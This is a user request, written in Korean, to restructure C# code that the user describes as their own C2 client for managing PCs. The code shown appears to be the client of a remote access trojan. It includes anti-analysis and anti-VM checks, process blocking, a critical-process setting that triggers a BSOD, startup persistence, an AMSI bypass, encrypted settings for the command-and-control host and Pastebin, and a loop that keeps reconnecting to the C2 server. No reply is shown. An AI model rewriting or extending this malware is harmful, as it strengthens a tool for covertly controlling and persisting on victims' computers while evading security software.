내가만든 c# c2c 에서 클라이언트와 통신하면서 클라이언트 pc를 관리하는 c#을 만들었는데 코드를 변경해줘 새롭게 짜줘 코드를 재구성 해달라는거야 
using System.Threading;
using Client.Connection;
using Client.Install;
using System;
using Client.Helper;

namespace Client
{
public class Program
{
public static void Main()
{
for (int i = 0; i < Convert.ToInt32(Settings.De_lay); i++)
{
Thread.Sleep(1000);
}


        if (!Settings.InitializeSettings()) Environment.Exit(0);

        try
        {
            if (Convert.ToBoolean(Settings.An_ti)) //run anti-virtual environment
                Anti_Analysis.RunAntiAnalysis();
            if (!MutexControl.CreateMutex()) //if current payload is a duplicate
                Environment.Exit(0);
            if (Convert.ToBoolean(Settings.Anti_Process)) //run AntiProcess
                AntiProcess.StartBlock();
            if (Convert.ToBoolean(Settings.BS_OD) && Methods.IsAdmin()) //active critical process
                ProcessCritical.Set();
            if (Convert.ToBoolean(Settings.In_stall)) //drop payload [persistence]
                NormalStartup.Install();
            Methods.PreventSleep(); //prevent pc to idle\sleep
            
            if (Methods.IsAdmin())
                Methods.ClearSetting();
            Amsi.Bypass();



        }
        catch { }

        while (true) // ~ loop to check socket status
        {
            try
            {
                if (!ClientSocket.IsConnected)
                {
                    ClientSocket.Reconnect();
                    ClientSocket.InitializeClient();
                }
            }
            catch { }
            Thread.Sleep(5000);
        }
    }
}
}

using Client.Algorithm;
using Client.Helper;
using System;
using System.IO;
using System.Security.Cryptography;
using System.Security.Cryptography.X509Certificates;
using System.Text;

namespace Client
{
public static class Settings
{
public static string Por_ts = "%Ports%";
public static string Hos_ts = "%Hosts%";
public static string Ver_sion = "%Version%";
public static string In_stall = "%Install%";
public static string Install_Folder = "%Folder%";
public static string Install_File = "%File%";
public static string Key = "%Key%";
public static string MTX = "%MTX%";
public static string Certifi_cate = "%Certificate%";
public static string Server_signa_ture = "%Serversignature%";
public static X509Certificate2 Server_Certificate;
public static Aes256 aes256;
public static string Paste_bin = "%Paste_bin%";
public static string BS_OD = "%BSOD%";
public static string Hw_id = null;
public static string De_lay = "%Delay%";
public static string Group = "%Group%";
public static string Anti_Process = "%AntiProcess%";
public static string An_ti = "%Anti%";


    public static bool InitializeSettings()
    {

        try
        {
            Key = Encoding.UTF8.GetString(Convert.FromBase64String(Key));
            aes256 = new Aes256(Key);
            Por_ts = aes256.Decrypt(Por_ts);
            Hos_ts = aes256.Decrypt(Hos_ts);
            Ver_sion = aes256.Decrypt(Ver_sion);
            In_stall = aes256.Decrypt(In_stall);
            MTX = aes256.Decrypt(MTX);
            Paste_bin = aes256.Decrypt(Paste_bin);
            An_ti = aes256.Decrypt(An_ti);
            Anti_Process = aes256.Decrypt(Anti_Process);
            BS_OD = aes256.Decrypt(BS_OD);
            Group = aes256.Decrypt(Group);
            Hw_id = HwidGen.HWID();
            Server_signa_ture = aes256.Decrypt(Server_signa_ture);
            Server_Certificate = new X509Certificate2(Convert.FromBase64String(aes256.Decrypt(Certifi_cate)));
            return VerifyHash();
        }
        catch { return false; }
    }
    private static bool VerifyHash()
    {
        try
        {
            var csp = (RSACryptoServiceProvider)Server_Certificate.PublicKey.Key;
            using (SHA256Managed sha = new SHA256Managed())
            {
                return csp.VerifyHash(sha.ComputeHash(Encoding.UTF8.GetBytes(Key)), CryptoConfig.MapNameToOID("SHA256"), Convert.FromBase64String(Server_signa_ture));
            }
        }
        catch (Exception)
        {
            return false;
        }
    }
}
}